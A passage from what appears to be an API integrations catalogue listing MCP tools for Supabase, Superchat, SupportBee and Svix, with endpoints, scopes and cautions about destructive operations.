is stuck reporting RUNNING and blocking its branch. It re-runs nothing, changes no schema and touches no data: it only changes what supabase_get_branch_action reports. NEVER use it to mark a stage that failed as anything other than failed — the run log from supabase_get_branch_action_logs is the record of what happened, and a status that disagrees with it will mislead the next person to look. POST /api/v1/tools/supabase/branch-action/status. Scopes: branches:write. supabase_update_function (write, destructive) — DESTRUCTIVE — change a deployed edge function's name, source or JWT verification without a full deploy. Overwrites what is running; read supabase_get_function_body first. Turning `verify_jwt` off publishes an unauthenticated endpoint on the customer's project. POST /api/v1/tools/supabase/function/update. Scopes: functions:write. supabase_update_migration (write, destructive) — DESTRUCTIVE — amend a migration's recorded SQL on a preview BRANCH. Takes a BRANCH ID and never a project ref, exactly as supabase_apply_migration. Read the current record with supabase_get_migration first; this overwrites it. POST /api/v1/tools/supabase/database/migrations/update. Scopes: database:migrate. supabase_update_pooler_config (write, destructive) — DESTRUCTIVE — change the Supavisor connection pooler's mode or size.pool_mode is the consequential one: moving from session to transactionmode breaks every client that relies on a connection keeping state —prepared statements, LISTEN/NOTIFY, session-level SET, advisory locks —and those clients fail at their next query rather than at this call, sothe damage surfaces somewhere else. default_pool_size caps how manydatabase connections the pooler opens, so a value above the database'smax_connections starves everything that connects directly. Readsupabase_get_pooler_config first; writing its values back is the undo.Requires a confirmation phrase. POST /api/v1/tools/supabase/config/pooler. Scopes: config:write. supabase_update_postgres_config (write, destructive) — DESTRUCTIVE — change Postgres server parameters on the project's database:work_mem, statement_timeout, max_connections, the log_* family and therest of what supabase_get_postgres_config reads back. Read that FIRST andrecord the current values — writing them back is the only undo, andAgentic Fabriq keeps no copy. Several parameters take effect only after arestart, and passing restart_database=true restarts the databaseimmediately, dropping every open connection. session_replication_role isrefused by name whatever value is asked for: setting it to replicadisables every trigger and foreign-key check for all future connections,which is a silent data-integrity change no read would reveal. Requires aconfirmation phrase. POST /api/v1/tools/supabase/config/postgres. Scopes: config:write. supabase_update_postgrest_config (write, destructive) — DESTRUCTIVE — change which schemas the project's PUBLIC REST API exposes,and how many rows it will return. db_schema is the consequential one: itis the list of Postgres schemas PostgREST serves athttps://<ref>.supabase.co/rest/v1, so removing a schema breaks everydeployed client that reads from it, and ADDING one publishes its tables toanyone holding the project's anon key. The auth, vault and pgsodiumschemas are refused by name in either argument — vault.decrypted_secretsalone would publish the customer's other systems' credentials, alreadydecrypted, on the public internet. Read supabase_get_postgrest_configfirst; writing its values back is the undo. Requires a confirmationphrase. POST /api/v1/tools/supabase/config/postgrest. Scopes: config:write. supabase_update_project (write) — Rename a project. This is the whole operation — Supabase's update body carries a name and nothing else, so this cannot resize compute, change a plan or spend money. It is reversible: read the current name with supabase_get_project first and you can put it back. The project's 20-character ref never changes, so nothing that references the project breaks. POST /api/v1/tools/supabase/project/update. Scopes: projects:write. supabase_update_ssl_enforcement (write, destructive) — DESTRUCTIVE — turn the database's TLS requirement on or off. Turning it ONimmediately rejects every client connecting without TLS, which is ahardening change that can still take an application down. Turning it OFFpermits unencrypted connections to the customer's production database fromthat moment on and is almost never the right answer; if an applicationcannot connect, the fix is its client configuration, not this.supabase_get_ssl_enforcement reads the current setting and is the undo.Requires a confirmation phrase. POST /api/v1/tools/supabase/config/ssl-enforcement. Scopes: config:write. supabase_upgrade_postgres_version (write, destructive) — DESTRUCTIVE — upgrade the project's Postgres MAJOR VERSION. The databaseis unavailable for the duration and Supabase publishes no downgrade: oncethe upgrade completes, the only route back to the old major version isrestoring a backup taken before it, which loses every write made since.Call supabase_get_project_upgrade_eligibility first — it names theversions this project may target and the reasons it may not be eligible —and supabase_create_restore_point before, so there is something to go backto. Progress is readable with supabase_get_project_upgrade_status.Requires a confirmation phrase. POST /api/v1/tools/supabase/project/upgrade. Scopes: projects:destroy. supabase_upsert_migration (write, destructive) — DESTRUCTIVE — write an entry into a preview BRANCH's migration history without executing its SQL. This is a history repair tool, not a way to change a schema: use supabase_apply_migration for that. It is marked destructive because recording a migration Supabase never ran makes the history disagree with the database, and the next real migration will then skip work it needed to do — a failure that shows up later, somewhere else, as missing columns rather than as an error here. Takes a BRANCH ID and never a project ref, exactly as supabase_apply_migration. Read supabase_list_migrations first. POST /api/v1/tools/supabase/database/migrations/upsert. Scopes: database:migrate. supabase_verify_custom_hostname_dns (read) — Re-check the DNS records for a custom hostname that is ALREADY configuredon this project, and report what Supabase's certificate authoritycurrently sees. This changes nothing: it publishes no hostname, activatesnothing, and takes no arguments beyond the project — the hostname itchecks is whichever one a person already set in the Supabase dashboard. Itis the diagnostic for the common failure, which is a CNAME or TXT recordthat was never added or was added to the wrong zone, and it answers withthe same status field supabase_get_custom_hostname_config reads. GET /api/v1/tools/supabase/config/custom-hostname/verify. Scopes: projects:read. ================================================================================ ## Superchat URL: https://www.agenticfabriq.com/integrations/superchat Section: Integrated Tools Superchat — 3 MCP tools Provider key: superchat. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. superchat_get_webhooks (read) — List the workspace's webhook subscriptions, via GET /webhooks. Each subscription carries its `id` (`wh_...`), its HTTPS `target_url`, a `delivery` block whose `status` says whether Superchat is still delivering to it and whose `reason` says why it stopped, the `events` it is subscribed to with their filters, and its timestamps. THE SIGNING SECRET IS REMOVED BEFORE YOU SEE IT, and that is this integration's doing rather than Superchat's: the provider's own schema marks `secret` required on every subscription, and that value is what a receiver checks a delivery signature against -- so returning it would hand out the ability to forge Superchat webhook deliveries to the customer's endpoint. The key is kept with a marker in place of the value, so a subscription that genuinely has no secret is still distinguishable. Paged with a CURSOR, not a page number: read `pagination.next_cursor` and pass it as `after`. THIS IS ALSO THE CONNECTION'S HEALTH CHECK -- it is the route this provider's probe declares, chosen because it is free, side-effect-free, and returns an empty list rather than the workspace's messages or contacts on an account that has no webhooks. GET /api/v1/superchat/webhooks. Scopes: api. superchat_patch_contacts_by_contact_id (write) — Replace a contact's name, gender, handles and custom attributes, via PATCH /contacts/{contact_id}. IT IS A PATCH IN NAME ONLY, AND THAT IS THE WHOLE RISK. Superchat REQUIRES `first_name`, `last_name` and `gender` on every call -- omitting one is a 400 -- and all three are nullable, so a body that sends null to satisfy the requirement CLEARS the name it was meant to leave alone. `handles` and `custom_attributes` are worse: the provider documents each as 'the full list ... that should remain on this contact', so an entry left out of the array is DELETED from the contact. Sending one handle to a contact that has three removes the other two, and the reply looks like an ordinary success. READ THE CONTACT FIRST AND RESEND ITS CURRENT VALUES -- and note that this integration ships no contact read (the research ledger recorded three operations and `GET /contacts/{id}` is not among them), so those values have to come from Superchat's own API or UI before this tool is called. A handle entry needs `id` and `value` even when you are only keeping it; `id: null` creates a new one. Only `mail` and `phone` handles can be written -- the platform-created kinds (instagram, telegram, facebook_messenger, live_chat, google_business_messaging, whats_app_username) are reported on reads and are not writable here. Custom attributes are named by their `cat_...` id and their `value` is typed by the attribute. It is filed as a WRITE rather than a destruction because the contact itself survives every call; the confirm gate is for tools that remove a resource, and putting one here would sit in front of the ordinary case as well. PATCH /api/v1/superchat/contacts/{contact_id}. Scopes: api. superchat_post_messages (write) — Send a message to one recipient on a Superchat channel, via POST /messages. THIS REACHES A REAL PERSON and cannot be recalled: there is no unsend on this API, and on WhatsApp or SMS the message is delivered by a carrier the moment Superchat accepts it. `from.channel_id` decides the PLATFORM -- WhatsApp, SMS, Instagram, Facebook Messenger, Telegram or e-mail -- and therefore how `to[0].identifier` must be spelled and which `content` shapes are legal; this integration ships no channel listing, so that id comes from Superchat's own API or its Settings UI. `to` IS CAPPED AT ONE RECIPIENT by the provider: there is no broadcast here, and reaching several people means several calls. A `content` whose `type` does not match its shape is Superchat's own 400 'Message type must match content'. ON WHATSAPP THE 24-HOUR WINDOW DECIDES WHAT IS ACCEPTED: outside it, only an approved template (`whats_app_template`) goes through, and a free-form `text` is refused. AN UNKNOWN `identifier` CREATES A CONTACT rather than failing, so a typo in a phone number makes a new contact and messages a stranger. The 200 reply carries the message's `id` (`msg_...`), its `conversation_id` and a `status` that is only the SUBMISSION state -- `processed` or `sent`, later `received` or `read`, or `sending_failed` if the channel rejects it afterwards. This surface ships no message read, so a later status is not observable from here. POST /api/v1/superchat/messages. Scopes: api. ================================================================================ ## SupportBee URL: https://www.agenticfabriq.com/integrations/supportbee Section: Integrated Tools SupportBee — 49 MCP tools Provider key: supportbee. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. supportbee_delete_snippets_by_id (write, destructive) — Delete snippet via DELETE /snippets/{id} DELETE /api/v1/supportbee/snippets/{id}. Scopes: api. supportbee_delete_tickets_by_id (write, destructive) — Delete a trashed ticket via DELETE /tickets/{id} DELETE /api/v1/supportbee/tickets/{id}. Scopes: api. supportbee_delete_tickets_by_id_answered (write) — Mark a ticket as un-answered via DELETE /tickets/{id}/answered DELETE /api/v1/supportbee/tickets/{id}/answered. Scopes: api. supportbee_delete_tickets_by_id_archive (write) — Un-archive a ticket via DELETE /tickets/{id}/archive DELETE /api/v1/supportbee/tickets/{id}/archive. Scopes: api. supportbee_delete_tickets_by_id_draft (write, destructive) — Delete draft via DELETE /tickets/{id}/draft DELETE /api/v1/supportbee/tickets/{id}/draft. Scopes: api. supportbee_delete_tickets_by_id_spam (write) — Un-spam a ticket via DELETE /tickets/{id}/spam DELETE /api/v1/supportbee/tickets/{id}/spam. Scopes: api. supportbee_delete_tickets_by_id_team_assignment (write) — Un-assign a ticket from its team via DELETE /tickets/{id}/team_assignment DELETE /api/v1/supportbee/tickets/{id}/team_assignment. Scopes: api. supportbee_delete_tickets_by_id_trash (write) — Un-trash a ticket via DELETE /tickets/{id}/trash DELETE /api/v1/supportbee/tickets/{id}/trash. Scopes: api. supportbee_delete_tickets_by_id_user_assignment (write) — Un-assign a ticket from its user via DELETE /tickets/{id}/user_assignment DELETE /api/v1/supportbee/tickets/{id}/user_assignment. Scopes: api. supportbee_delete_tickets_by_ticket_id_labels_by_label_name (write, destructive) — Remove label via DELETE /tickets/{ticket_id}/labels/{label_name} DELETE /api/v1/supportbee/tickets/{ticket_id}/labels/{label_name}. Scopes: api. supportbee_get_emails (read) — Fetch emails via GET /emails GET /api/v1/supportbee/emails. Scopes: api. supportbee_get_labels (read) — Fetch labels via GET /labels GET /api/v1/supportbee/labels. Scopes: api. supportbee_get_reports_avg_first_response_time (read) — Average first response time report via GET /reports/avg_first_response_time GET /api/v1/supportbee/reports/avg_first_response_time. Scopes: api. supportbee_get_reports_replies_count (read) — Replies count report via GET /reports/replies_count GET /api/v1/supportbee/reports/replies_count. Scopes: api. supportbee_get_reports_tickets_count (read) — Tickets count report via GET /reports/tickets_count GET /api/v1/supportbee/reports/tickets_count. Scopes: api. supportbee_get_snippets (read) — Fetch snippets via GET /snippets GET /api/v1/supportbee/snippets. Scopes: api. supportbee_get_teams (read) — Fetch teams via GET /teams GET /api/v1/supportbee/teams. Scopes: api. supportbee_get_tickets (read) — List tickets via GET /tickets GET /api/v1/supportbee/tickets. Scopes: api. supportbee_get_tickets_by_id (read) — Retrieve a ticket via GET /tickets/{id} GET /api/v1/supportbee/tickets/{id}. Scopes: api. supportbee_get_tickets_by_id_audit (read) — Fetch audit trail via GET /tickets/{id}/audit GET /api/v1/supportbee/tickets/{id}/audit. Scopes: api. supportbee_get_tickets_by_id_comments (read) — Fetch comments via GET /tickets/{id}/comments GET /api/v1/supportbee/tickets/{id}/comments. Scopes: api. supportbee_get_tickets_by_id_draft (read) — Fetch draft via GET /tickets/{id}/draft GET /api/v1/supportbee/tickets/{id}/draft. Scopes: api. supportbee_get_tickets_by_id_replies (read) — Fetch ticket replies via GET /tickets/{id}/replies GET /api/v1/supportbee/tickets/{id}/replies. Scopes: api. supportbee_get_tickets_by_ticket_id_replies_by_id (read) — Show a reply via GET /tickets/{ticket_id}/replies/{id} GET /api/v1/supportbee/tickets/{ticket_id}/replies/{id}. Scopes: api. supportbee_get_tickets_search (read) — Search tickets via GET /tickets/search GET /api/v1/supportbee/tickets/search. Scopes: api. supportbee_get_users (read) — Fetch users and customer groups via GET /users GET /api/v1/supportbee/users. Scopes: api. supportbee_get_users_by_id (read) — Show user or customer group via GET /users/{id} GET /api/v1/supportbee/users/{id}. Scopes: api. supportbee_get_users_by_id_members (read) — Fetch members of a customer group via GET /users/{id}/members GET /api/v1/supportbee/users/{id}/members. Scopes: api. supportbee_post_consequences (write) — Create consequence via POST /consequences POST /api/v1/supportbee/consequences. Scopes: api. supportbee_post_emails (write) — Create email via POST /emails POST /api/v1/supportbee/emails. Scopes: api. supportbee_post_filters (write) — Create filter via POST /filters POST /api/v1/supportbee/filters. Scopes: api. supportbee_post_rules (write) — Create rule via POST /rules POST /api/v1/supportbee/rules. Scopes: api. supportbee_post_snippets (write) — Create snippet via POST /snippets POST /api/v1/supportbee/snippets. Scopes: api. supportbee_post_tickets (write) — Create ticket via POST /tickets POST /api/v1/supportbee/tickets. Scopes: api. supportbee_post_tickets_by_id_answered (write) — Mark a ticket as answered via POST /tickets/{id}/answered POST /api/v1/supportbee/tickets/{id}/answered. Scopes: api. supportbee_post_tickets_by_id_archive (write) — Archive a ticket via POST /tickets/{id}/archive POST /api/v1/supportbee/tickets/{id}/archive. Scopes: api. supportbee_post_tickets_by_id_comments (write) — Create comment via POST /tickets/{id}/comments POST /api/v1/supportbee/tickets/{id}/comments. Scopes: api. supportbee_post_tickets_by_id_draft (write) — Create draft via POST /tickets/{id}/draft POST /api/v1/supportbee/tickets/{id}/draft. Scopes: api. supportbee_post_tickets_by_id_replies (write) — Create a reply via POST /tickets/{id}/replies POST /api/v1/supportbee/tickets/{id}/replies. Scopes: api. supportbee_post_tickets_by_id_spam (write) — Mark ticket as spam via POST /tickets/{id}/spam POST /api/v1/supportbee/tickets/{id}/spam. Scopes: api. supportbee_post_tickets_by_id_team_assignment (write) — Assign a ticket to a team via POST /tickets/{id}/team_assignment POST /api/v1/supportbee/tickets/{id}/team_assignment. Scopes: api. supportbee_post_tickets_by_id_trash (write) — Trash ticket via POST /tickets/{id}/trash POST /api/v1/supportbee/tickets/{id}/trash. Scopes: api. supportbee_post_tickets_by_id_user_assignment (write) — Assign a ticket to a user via POST /tickets/{id}/user_assignment POST /api/v1/supportbee/tickets/{id}/user_assignment. Scopes: api. supportbee_post_tickets_by_ticket_id_labels_by_label_name (write) — Add label via POST /tickets/{ticket_id}/labels/{label_name} POST /api/v1/supportbee/tickets/{ticket_id}/labels/{label_name}. Scopes: api. supportbee_post_users (write) — Create a user or customer group via POST /users POST /api/v1/supportbee/users. Scopes: api. supportbee_post_users_by_id_members (write) — Add member via POST /users/{id}/members POST /api/v1/supportbee/users/{id}/members. Scopes: api. supportbee_put_snippets_by_id (write) — Update snippet via PUT /snippets/{id} PUT /api/v1/supportbee/snippets/{id}. Scopes: api. supportbee_put_tickets_by_id_draft (write) — Update draft via PUT /tickets/{id}/draft PUT /api/v1/supportbee/tickets/{id}/draft. Scopes: api. supportbee_put_users_by_id (write) — Update a user via PUT /users/{id} PUT /api/v1/supportbee/users/{id}. Scopes: api. ================================================================================ ## Svix URL: https://www.agenticfabriq.com/integrations/svix Section: Integrated Tools Svix — 138 MCP tools Provider key: svix. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. svix_delete_api_v1_app_by_app_id (write, destructive) — Delete an application. via DELETE /api/v1/app/{app_id} DELETE /api/v1/svix/api/v1/app/{app_id}. Scopes: api. svix_delete_api_v1_app_by_app_id_destination_by_destination_id (write, destructive) — Delete a destination. via DELETE /api/v1/app/{app_id}/destination/{destination_id} DELETE /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}. Scopes: api. svix_delete_api_v1_app_by_app_id_endpoint_by_endpoint_id (write, destructive) — Delete an endpoint. via DELETE /api/v1/app/{app_id}/endpoint/{endpoint_id} DELETE /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}. Scopes: api. svix_delete_api_v1_app_by_app_id_integration_by_integ_id (write, destructive) — Delete an integration. via DELETE /api/v1/app/{app_id}/integration/{integ_id} DELETE /api/v1/svix/api/v1/app/{app_id}/integration/{integ_id}. Scopes: api. svix_delete_api_v1_app_by_app_id_msg_by_msg_id_attempt_by_attempt_id_content (write, destructive) — Deletes the given attempt's response body. Useful when an endpoint accidentally returned sensitive content. The message can't be replayed or resent once its payload has been deleted or expired. via DELETE /api/v1/app/{app_id}/msg/{msg_id}/attempt/{attempt_id}/content DELETE /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}/attempt/{attempt_id}/content. Scopes: api. svix_delete_api_v1_app_by_app_id_msg_by_msg_id_content (write, destructive) — Delete the given message's payload. Useful in cases when a message was accidentally sent with sensitive content. The message can't be replayed or resent once its payload has been deleted (or has expired). via DELETE /api/v1/app/{app_id}/msg/{msg_id}/content DELETE /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}/content. Scopes: api. svix_delete_api_v1_connector_by_connector_id (write, destructive) — Delete a connector. via DELETE /api/v1/connector/{connector_id} DELETE /api/v1/svix/api/v1/connector/{connector_id}. Scopes: api. svix_delete_api_v1_event_type_by_event_type_name (write, destructive) — Archive an event type. Endpoints already configured to filter on an event type will continue to do so after archival. However, new messages can not be sent with it and endpoints can not filter on it. An event type can be unarchived with the create operation. via DELETE /api/v1/event-type/{event_type_name} DELETE /api/v1/svix/api/v1/event-type/{event_type_name}. Scopes: api. svix_delete_api_v1_operational_webhook_endpoint_by_endpoint_id (write, destructive) — Delete an operational webhook endpoint. via DELETE /api/v1/operational-webhook/endpoint/{endpoint_id} DELETE /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}. Scopes: api. svix_delete_api_v1_stream_by_stream_id (write, destructive) — Delete a stream. via DELETE /api/v1/stream/{stream_id} DELETE /api/v1/svix/api/v1/stream/{stream_id}. Scopes: api. svix_delete_api_v1_stream_by_stream_id_sink_by_sink_id (write, destructive) — Delete a sink. via DELETE /api/v1/stream/{stream_id}/sink/{sink_id} DELETE /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}. Scopes: api. svix_delete_api_v1_stream_event_type_by_name (write, destructive) — Delete an event type. via DELETE /api/v1/stream/event-type/{name} DELETE /api/v1/svix/api/v1/stream/event-type/{name}. Scopes: api. svix_delete_ingest_api_v1_source_by_source_id (write, destructive) — Delete an Ingest Source. via DELETE /ingest/api/v1/source/{source_id} DELETE /api/v1/svix/ingest/api/v1/source/{source_id}. Scopes: api. svix_delete_ingest_api_v1_source_by_source_id_endpoint_by_endpoint_id (write, destructive) — Delete an ingest endpoint. via DELETE /ingest/api/v1/source/{source_id}/endpoint/{endpoint_id} DELETE /api/v1/svix/ingest/api/v1/source/{source_id}/endpoint/{endpoint_id}. Scopes: api. svix_get_api_v1_app (read) — List of all the organization's applications. via GET /api/v1/app GET /api/v1/svix/api/v1/app. Scopes: api. svix_get_api_v1_app_by_app_id (read) — Get an application. via GET /api/v1/app/{app_id} GET /api/v1/svix/api/v1/app/{app_id}. Scopes: api. svix_get_api_v1_app_by_app_id_attempt_endpoint_by_endpoint_id (read) — List attempts by endpoint id Note that by default this endpoint is limited to retrieving 90 days' worth of data relative to now or, if an iterator is provided, 90 days before/after the time indicated by the iterator ID. If you require data beyond those time ranges, you will need to explicitly set the `before` or `after` parameter as appropriate. via GET /api/v1/app/{app_id}/attempt/endpoint/{endpoint_id} GET /api/v1/svix/api/v1/app/{app_id}/attempt/endpoint/{endpoint_id}. Scopes: api. svix_get_api_v1_app_by_app_id_attempt_msg_by_msg_id (read) — List attempts by message ID. Note that by default this endpoint is limited to retrieving 90 days' worth of data relative to now or, if an iterator is provided, 90 days before/after the time indicated by the iterator ID. If you require data beyond those time ranges, you will need to explicitly set the `before` or `after` parameter as appropriate. via GET /api/v1/app/{app_id}/attempt/msg/{msg_id} GET /api/v1/svix/api/v1/app/{app_id}/attempt/msg/{msg_id}. Scopes: api. svix_get_api_v1_app_by_app_id_destination (read) — List of all the application's destinations. via GET /api/v1/app/{app_id}/destination GET /api/v1/svix/api/v1/app/{app_id}/destination. Scopes: api. svix_get_api_v1_app_by_app_id_destination_by_destination_id (read) — Get a destination by id or uid. via GET /api/v1/app/{app_id}/destination/{destination_id} GET /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}. Scopes: api. svix_get_api_v1_app_by_app_id_destination_by_destination_id_transformation (read) — Get the transformation code associated with this destination. via GET /api/v1/app/{app_id}/destination/{destination_id}/transformation GET /api/v1/svix/api/v1/app/{app_id}/destination/{destination_id}/transformation. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint (read) — List the application's endpoints. via GET /api/v1/app/{app_id}/endpoint GET /api/v1/svix/api/v1/app/{app_id}/endpoint. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id (read) — Get an endpoint. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id} GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id_headers (read) — Get the additional headers to be sent with the webhook. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id}/headers GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/headers. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id_msg (read) — List messages for a particular endpoint. Additionally includes metadata about the latest message attempt. The `before` parameter lets you filter all items created before a certain date and is ignored if an iterator is passed. Note that by default this endpoint is limited to retrieving 90 days' worth of data relative to now or, if an iterator is provided, 90 days before/after the time indicated by the iterator ID. If you require data beyond those time ranges, you will need to explicitly set the `before` or `after` parameter as appropriate. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id}/msg GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/msg. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id_secret (read) — Get the endpoint's signing secret. This is used to verify the authenticity of the webhook. For more information please refer to the consuming webhooks docs. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id}/secret GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/secret. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id_stats (read) — Get basic statistics for the endpoint. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id}/stats GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/stats. Scopes: api. svix_get_api_v1_app_by_app_id_endpoint_by_endpoint_id_transformation (read) — Get the transformation code associated with this endpoint. via GET /api/v1/app/{app_id}/endpoint/{endpoint_id}/transformation GET /api/v1/svix/api/v1/app/{app_id}/endpoint/{endpoint_id}/transformation. Scopes: api. svix_get_api_v1_app_by_app_id_integration (read) — List the application's integrations. via GET /api/v1/app/{app_id}/integration GET /api/v1/svix/api/v1/app/{app_id}/integration. Scopes: api. svix_get_api_v1_app_by_app_id_integration_by_integ_id (read) — Get an integration. via GET /api/v1/app/{app_id}/integration/{integ_id} GET /api/v1/svix/api/v1/app/{app_id}/integration/{integ_id}. Scopes: api. svix_get_api_v1_app_by_app_id_msg (read) — List all of the application's messages. The `before` and `after` parameters let you filter all items created before or after a certain date. These can be used alongside an iterator to paginate over results within a certain window. Note that by default this endpoint is limited to retrieving 90 days' worth of data relative to now or, if an iterator is provided, 90 days before/after the time indicated by the iterator ID. If you require data beyond those time ranges, you will need to explicitly set the `before` or `after` parameter as appropriate. via GET /api/v1/app/{app_id}/msg GET /api/v1/svix/api/v1/app/{app_id}/msg. Scopes: api. svix_get_api_v1_app_by_app_id_msg_by_msg_id (read) — Get a message by its ID or eventID. via GET /api/v1/app/{app_id}/msg/{msg_id} GET /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}. Scopes: api. svix_get_api_v1_app_by_app_id_msg_by_msg_id_attempt_by_attempt_id (read) — `msg_id`: Use a message id or a message `eventId` via GET /api/v1/app/{app_id}/msg/{msg_id}/attempt/{attempt_id} GET /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}/attempt/{attempt_id}. Scopes: api. svix_get_api_v1_app_by_app_id_msg_by_msg_id_endpoint (read) — List endpoints attempted by a given message. Additionally includes metadata about the latest message attempt. By default, endpoints are listed in ascending order by ID. via GET /api/v1/app/{app_id}/msg/{msg_id}/endpoint GET /api/v1/svix/api/v1/app/{app_id}/msg/{msg_id}/endpoint. Scopes: api. svix_get_api_v1_app_by_app_id_poller_by_sink_id (read) — Reads the stream of created messages for an application, filtered on the Sink's event types and Channels. Plan: polling endpoints are an Enterprise feature (svix.com/pricing, fetched 2026-09-13). via GET /api/v1/app/{app_id}/poller/{sink_id} GET /api/v1/svix/api/v1/app/{app_id}/poller/{sink_id}. Scopes: api. svix_get_api_v1_app_by_app_id_poller_by_sink_id_consumer_by_consumer_id (read) — Reads the stream of created messages for an application, filtered on the Sink's event types and Channels, using server-managed iterator tracking. Plan: polling endpoints are an Enterprise feature (svix.com/pricing, fetched 2026-09-13). via GET /api/v1/app/{app_id}/poller/{sink_id}/consumer/{consumer_id} GET /api/v1/svix/api/v1/app/{app_id}/poller/{sink_id}/consumer/{consumer_id}. Scopes: api. svix_get_api_v1_auth_stream_by_stream_id_sink_by_sink_id_poller_token (read) — Get the current auth token for the stream poller. via GET /api/v1/auth/stream/{stream_id}/sink/{sink_id}/poller/token GET /api/v1/svix/api/v1/auth/stream/{stream_id}/sink/{sink_id}/poller/token. Scopes: api. svix_get_api_v1_background_task (read) — List background tasks executed in the past 90 days. via GET /api/v1/background-task GET /api/v1/svix/api/v1/background-task. Scopes: api. svix_get_api_v1_background_task_by_task_id (read) — Get a background task by ID. via GET /api/v1/background-task/{task_id} GET /api/v1/svix/api/v1/background-task/{task_id}. Scopes: api. svix_get_api_v1_connector (read) — List all connectors for an application. via GET /api/v1/connector GET /api/v1/svix/api/v1/connector. Scopes: api. svix_get_api_v1_connector_by_connector_id (read) — Get a connector. via GET /api/v1/connector/{connector_id} GET /api/v1/svix/api/v1/connector/{connector_id}. Scopes: api. svix_get_api_v1_event_type (read) — Return the list of event types. via GET /api/v1/event-type GET /api/v1/svix/api/v1/event-type. Scopes: api. svix_get_api_v1_event_type_by_event_type_name (read) — Get an event type. via GET /api/v1/event-type/{event_type_name} GET /api/v1/svix/api/v1/event-type/{event_type_name}. Scopes: api. svix_get_api_v1_health (read) — Verify the API server is up and running. via GET /api/v1/health GET /api/v1/svix/api/v1/health. Scopes: api. svix_get_api_v1_operational_webhook_endpoint (read) — List operational webhook endpoints. via GET /api/v1/operational-webhook/endpoint GET /api/v1/svix/api/v1/operational-webhook/endpoint. Scopes: api. svix_get_api_v1_operational_webhook_endpoint_by_endpoint_id (read) — Get an operational webhook endpoint. via GET /api/v1/operational-webhook/endpoint/{endpoint_id} GET /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}. Scopes: api. svix_get_api_v1_operational_webhook_endpoint_by_endpoint_id_headers (read) — Get the additional headers to be sent with the operational webhook. via GET /api/v1/operational-webhook/endpoint/{endpoint_id}/headers GET /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}/headers. Scopes: api. svix_get_api_v1_operational_webhook_endpoint_by_endpoint_id_secret (read) — Get an operational webhook endpoint's signing secret. This is used to verify the authenticity of the webhook. For more information please refer to the consuming webhooks docs. via GET /api/v1/operational-webhook/endpoint/{endpoint_id}/secret GET /api/v1/svix/api/v1/operational-webhook/endpoint/{endpoint_id}/secret. Scopes: api. svix_get_api_v1_stream (read) — List of all the organization's streams. via GET /api/v1/stream GET /api/v1/svix/api/v1/stream. Scopes: api. svix_get_api_v1_stream_by_stream_id (read) — Get a stream by id or uid. via GET /api/v1/stream/{stream_id} GET /api/v1/svix/api/v1/stream/{stream_id}. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink (read) — List of all the stream's sinks. via GET /api/v1/stream/{stream_id}/sink GET /api/v1/svix/api/v1/stream/{stream_id}/sink. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink_by_sink_id (read) — Get a sink by id or uid. via GET /api/v1/stream/{stream_id}/sink/{sink_id} GET /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink_by_sink_id_events (read) — Iterate over a stream of events. The sink must be of type `poller` to use the poller endpoint. via GET /api/v1/stream/{stream_id}/sink/{sink_id}/events GET /api/v1/svix/api/v1/stream/{stream_id}/sink/{sink_id}/events. Scopes: api. svix_get_api_v1_stream_by_stream_id_sink_by_sink_id_headers (read) — Get the HTTP sink headers. Only valid for `http` or `otelTracing` sinks. via GET /api/v1/stream/{stream_id}/sink/{sink_id}/headers GET 